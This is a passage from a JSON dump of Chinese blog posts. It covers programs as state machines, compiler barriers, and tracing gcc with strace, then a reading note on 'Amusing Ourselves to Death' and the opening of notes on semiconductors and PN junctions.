class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e2\u003c/span\u003e: call(       \u003cspan class=\"number\"\u003e1\u003c/span\u003e, f-\u0026gt;from, f-\u0026gt;to,  f-\u0026gt;via);  \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e3\u003c/span\u003e: call(f-\u0026gt;n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e, f-\u0026gt;via,  f-\u0026gt;to,  f-\u0026gt;from); \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e4\u003c/span\u003e: ret();                                    \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e: assert(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"二进制视角\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E4%BA%8C%E8%BF%9B%E5%88%B6%E8%A7%86%E8%A7%92\" class=\"headerlink\" title=\"二进制视角\"\u003e\u003c/a\u003e二进制视角\u003c/h3\u003e\u003cp\u003e实际上就是汇编视角。汇编程序分为几个段:数据段、代码段和栈段。加载程序就是加载初始状态,状态转移就是改变寄存器的值,转移方式就是执行指令。\u003c/p\u003e\u003cp\u003e这两个视角都可以用\u003ccode\u003egdb\u003c/code\u003e来查看。\u003c/p\u003e\u003cp\u003e但是,操作系统又不是普通程序。因为操作系统不光处理计算任务,还需要能够暂停、退出程序等等。\u003c/p\u003e\u003cp\u003e在Linux中,有一条叫做\u003ccode\u003esystemcall\u003c/code\u003e(系统调用)的指令。它不负责计算,它把当前进程的状态交给操作系统,也就是允许操作系统任意更改程序。这使得进程可以和操作系统中的其他对象交互。\u003c/p\u003e\u003cp\u003e也就是说,对于程序而言,操作系统就是一个程序。参数就是应用程序本身的状态,输出就是程序要访问的资源。C程序main函数最后的\u003ccode\u003ereturn;\u003c/code\u003e就是这样的,它实质上是借助了\u003ccode\u003esyscall()\u003c/code\u003e,将程序状态变为某特定状态,再交给系统去处理。这就好比准备好要传递的参数,然后去调用函数一样。\u003c/p\u003e\u003cp\u003e回到主题。从二进制/操作系统的视角看来,\u003cstrong\u003e程序是一个不停计算,并会穿插执行systemcall的状态机\u003c/strong\u003e。\u003c/p\u003e\u003ch2 id=\"什么是编译器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E4%BB%80%E4%B9%88%E6%98%AF%E7%BC%96%E8%AF%91%E5%99%A8\" class=\"headerlink\" title=\"什么是编译器\"\u003e\u003c/a\u003e什么是编译器\u003c/h2\u003e\u003cp\u003e编译器将源代码编译为二进制程序。从汇编状态机/C程序状态机的视角来看,实际上就是将后者翻译成了前者。编译(优化)的正确性(Soundness)就是在确保二者的\u003cstrong\u003e可观测行为\u003c/strong\u003e完全一致。\u003c/p\u003e\u003cp\u003e而关于编译器优化,我们可以使用\u003ccode\u003ecompiler barrier\u003c/code\u003e来阻止优化:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e g;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003efoo\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e x)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eg++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003easm\u003c/span\u003e \u003cspan class=\"title function_\"\u003evolatile\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"string\"\u003e\u0026#34;nop\u0026#34;\u003c/span\u003e : : \u003cspan class=\"string\"\u003e\u0026#34;r(x)\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;memory\u0026#34;\u003c/span\u003e)\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// compiler barrier\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eg++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码借助objdump查看反编译代码,可以看出,这两条\u003ccode\u003eg++\u003c/code\u003e并没有被\u003ccode\u003e-O2\u003c/code\u003e编译优化。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc -O2 -c a.c \u0026amp;\u0026amp; objdump -d a.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea.o: file format elf64-x86-64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDisassembly of section .text:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e0000000000000000 \u0026lt;foo\u0026gt;:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 0: f3 0f 1e fa endbr64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 4: 83 05 00 00 00 00 01 addl \u003cspan class=\"variable\"\u003e$0x1\u003c/span\u003e,0x0(%rip) \u003cspan class=\"comment\"\u003e# b \u0026lt;foo+0xb\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e b: 90 nop\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c: 83 05 00 00 00 00 01 addl \u003cspan class=\"variable\"\u003e$0x1\u003c/span\u003e,0x0(%rip) \u003cspan class=\"comment\"\u003e# 13 \u0026lt;foo+0x13\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 13: c3 retq\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e除此之外,还有一种更强的barrier:\u003ccode\u003e__sync_synchronize();\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"观察编译器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E8%A7%82%E5%AF%9F%E7%BC%96%E8%AF%91%E5%99%A8\" class=\"headerlink\" title=\"观察编译器\"\u003e\u003c/a\u003e观察编译器\u003c/h3\u003e\u003cp\u003e使用\u003ccode\u003estrace\u003c/code\u003e,我们可以看到一个程序所有的系统调用。借助下面几个工具的组合,我们可以看到gcc如何编译程序:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// a.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello, OS!\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e保存上面的文件后,执行下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003estrace -f gcc a.c |\u0026amp; vim -\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e我们可以在Vim中看到下面的输出\u003c/p\u003e\u003cp\u003e![[Pasted image 20230128215947.png]]\u003c/p\u003e\u003cp\u003e稍微修改后(\u003ccode\u003e:%!grep execve\u003c/code\u003e留下系统调用的行,\u003ccode\u003e:%!grep -v ENOENT\u003c/code\u003e删除失败的行,\u003ccode\u003e:%s/, /\\r /g\u003c/code\u003e将参数换行显示,提高结果可读性),可以分析得到下面的结果\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e 1 execve(\u003cspan class=\"string\"\u003e\u0026#34;/usr/bin/gcc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 2 [\u003cspan class=\"string\"\u003e\u0026#34;gcc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 3 \u003cspan class=\"string\"\u003e\u0026#34;a.c\u0026#34;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 4 0x7ffd181ca900 /* 30 vars */) = 0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 5 [pid 212] execve(\u003cspan class=\"string\"\u003e\u0026#34;/usr/lib/gcc/x86_64-linux-gnu/9/cc1\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 6 [\u003cspan class=\"string\"\u003e\u0026#34;/usr/lib/gcc/x86_64-linux-gnu/9/\u0026#34;\u003c/span\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 7 \u003cspan class=\"string\"\u003e\u0026#34;-quiet\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 8 \u003cspan class=\"string\"\u003e\u0026#34;-imultiarch\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 9 \u003cspan class=\"string\"\u003e\u0026#34;x86_64-linux-gnu\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10 \u003cspan class=\"string\"\u003e\u0026#34;a.c\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11 \u003cspan class=\"string\"\u003e\u0026#34;-quiet\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12 \u003cspan class=\"string\"\u003e\u0026#34;-dumpbase\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13 \u003cspan class=\"string\"\u003e\u0026#34;a.c\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14 \u003cspan class=\"string\"\u003e\u0026#34;-mtune=generic\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15 \u003cspan class=\"string\"\u003e\u0026#34;-march=x86-64\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16 \u003cspan class=\"string\"\u003e\u0026#34;-auxbase\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17 \u003cspan class=\"string\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18 \u003cspan class=\"string\"\u003e\u0026#34;-fasynchronous-unwind-tables\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19 \u003cspan class=\"string\"\u003e\u0026#34;-fstack-protector-strong\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20 \u003cspan class=\"string\"\u003e\u0026#34;-Wformat\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21 \u003cspan class=\"string\"\u003e\u0026#34;-Wformat-security\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22 \u003cspan class=\"string\"\u003e\u0026#34;-fstack-clash-protection\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23 \u003cspan class=\"string\"\u003e\u0026#34;-fcf-protection\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24 \u003cspan class=\"string\"\u003e\u0026#34;-o\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25 \u003cspan class=\"string\"\u003e\u0026#34;/tmp/ccf8oz38.s\u0026#34;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26 0x251bbd0 /* 35 vars */ \u0026lt;unfinished ...\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面就是\u003ccode\u003egcc\u003c/code\u003e编译这个程序的全流程,以及全部的参数。这些系统调用都能看得到。也就证明了前面的结论:程序=系统调用+计算。我们写的算法题就几乎属于纯计算(只有最后的\u003ccode\u003ereturn 0;\u003c/code\u003e算个系统调用),平时使用的各种程序就属于系统调用+计算的类型。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/"},{"title":"书摘:《娱乐至死》","time":"2022-12-29T08:39:22Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e谎言没有被定义成真理,真理也没有被定义成谎言。真正发生的是公众已经适应了没有连贯性的世界,并且已经被娱乐得麻木不仁了。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e破碎化的信息,使得在传统的印刷文字中习惯了连贯的上下文的读者需要不停地切换上下文。这使得读者疲于应付无休止的切换。显然,这让信息得不到被处理的精力了。久而久之,当人们开始适应之后,甚至不会再对信息进行思考,而只是单纯地接收并丢弃,并以这种走马观花的感受为乐。这种上下文切换在手机上展现的最为淋漓尽致。手机的通知系统充分调动用户的各种感官提醒人们去查看最新的信息。它很负责,我们几乎不会遗漏一条信息。而代价就是上面所述的切换一天可能会发生更多次,直到我们筋疲力竭为止,我们依然会点亮屏幕,查看最新的通知。我们会感觉自己看到了很多信息,并且也仅限于此。我们不会更深入地思考整理,不仅是没有那个精力,也是因为这些信息太零散了,从通知类到生活小常识,无所不有。这样的无关联信息没有可供思考的语境,也没有思考的余地:就像照片一样,只是一个个事实而已,它们的联系只有同样使用文字同时排版在你的眼前而已。\u003c/p\u003e\u003cp\u003e这些通知可能很重要,会改变我们接下来的行程安排。但是这种突发事件式的通知会打断我们正在做的,无论它是否重要。这对于我们当前的状态是一种毁灭性打击:当我在看书时,弹出了群聊消息。我点开它,并参与了对话。我退出它,重新回到阅读流程中。若只是一次两次还好,次数多了我会直接放弃阅读,开始做其他的事,比如继续进行没什么营养的对话,查看所有的新消息,或者去视频网站消磨时间。\u003c/p\u003e\u003cp\u003e因此,手机最好还是只回归于一个联络工具的功能,而将其他功能交给更专业的设备去完成。比如把阅读交给实体书/电脑,学习交给电脑/平板。笔记可以用电子的,也可以用纸质的。但是在选择前者时,应该确保不要被工具影响工作状态。做笔记时可以开启免打扰模式来确保专注。\u003c/p\u003e\u003cp\u003e现代生活难以离开手机,但是它的副作用之严重不是所有人都能接受。在日常生活中,尽量减少查看消息的次数,通知可以定时查看。例如,在每天的午餐时间看看通知,决定接下来要做的事。特别注意,避免使用手机进行工作。这是因为手机可能导致的注意力和精力大量消耗,这会大大降低工作效率和工作质量。\u003c/p\u003e\u003cp\u003e再往后的内容属于个人任务/时间管理的内容,这里不再赘述。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/29/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E4%B9%A6%E6%91%98%EF%BC%9A%E3%80%8A%E5%A8%B1%E4%B9%90%E8%87%B3%E6%AD%BB%E3%80%8B/"},{"title":"模电:第一章-半导体器件","time":"2022-12-21T02:25:21Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"1-1-半导体基础\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#1-1-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%9F%BA%E7%A1%80\" class=\"headerlink\" title=\"1.1 半导体基础\"\u003e\u003c/a\u003e1.1 半导体基础\u003c/h2\u003e\u003cul\u003e\u003cli\u003eP/N型半导体 根据\u003cstrong\u003e载流子的正负电性\u003c/strong\u003e命名,掺杂三价/五价物质\u003c/li\u003e\u003cli\u003e本征半导体 纯度达到小数点后9个9的半导体。在其中,空穴数和自由电子数相等\u003c/li\u003e\u003cli\u003e掺杂 会使某一种载流子占多数\u003c/li\u003e\u003cli\u003e漂移运动 载流子在电场作用下定向运动\u003c/li\u003e\u003cli\u003e扩散运动 载流子自浓度高向低浓度区域扩散\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"1-2-PN结\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#1-2-PN%E7%BB%93\" class=\"headerlink\" title=\"1.2 PN结\"\u003e\u003c/a\u003e1.2 PN结\u003c/h2\u003e\u003ch3 id=\"PN结形成过程\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#PN%E7%BB%93%E5%BD%A2%E6%88%90%E8%BF%87%E7%A8%8B\" class=\"headerlink\" title=\"PN结形成过程\"\u003e\u003c/a\u003ePN结形成过程\u003c/h3\u003e\u003cp\u003e在一块本征半导体两侧进行N型掺杂和P型掺杂,此时在结合面上会发生扩散运动。N电子扩散到P空穴,两区域会中和,从而在结合面上会形成裸露粒子。P区呈负电性,N区呈正电性。这会形成内电场,由N区指向P区。这电场会阻碍多子的扩散作用。\u003c/p\u003e\u003cp\u003e在内电场作用下,少子会漂移,方向盘和扩散方向相反,从而会和多子达到动态平衡。平衡后的空间电场区域就称为PN结。这也称为耗尽层(缺少多子),也等效于电阻。\u003c/p\u003e\u003cp\u003e两边掺杂程度不同,会使得PN结不对称。重掺杂一侧会因为密度大相对薄。用P+N/PN+表示。\u003c/p\u003e\u003ch3 id=\"PN结单向导电性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#PN%E7%BB%93%E5%8D%95%E5%90%91%E5%AF%BC%E7%94%B5%E6%80%A7\" class=\"headerlink\" title=\"PN结单向导电性\"\u003e\u003c/a\u003ePN结单向导电性\u003c/h3\u003e\u003cp\u003e正偏(P流向N)导通,反偏(N流向P)截止。\u003c/p\u003e\u003cp\u003eP区电位高于N区电位称为正偏(forward bias),反之称为反偏。\u003c/p\u003e\u003cp\u003e这回路必须加上限流电阻,否则无压降时电流会很大,二极管会被烧毁。\u003c/p\u003e\u003cp\u003e导通性主要和内电场有关。漂移电流大则电流小,扩散电流大则电流大。温度升高漂移电流也会增大。10℃大概对应漂移电流变化一倍。反向电流由于基本不变,所以称为反向饱和电流。\u003c/p\u003e\u003ch3 id=\"伏安特性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BC%8F%E5%AE%89%E7%89%B9%E6%80%A7\" 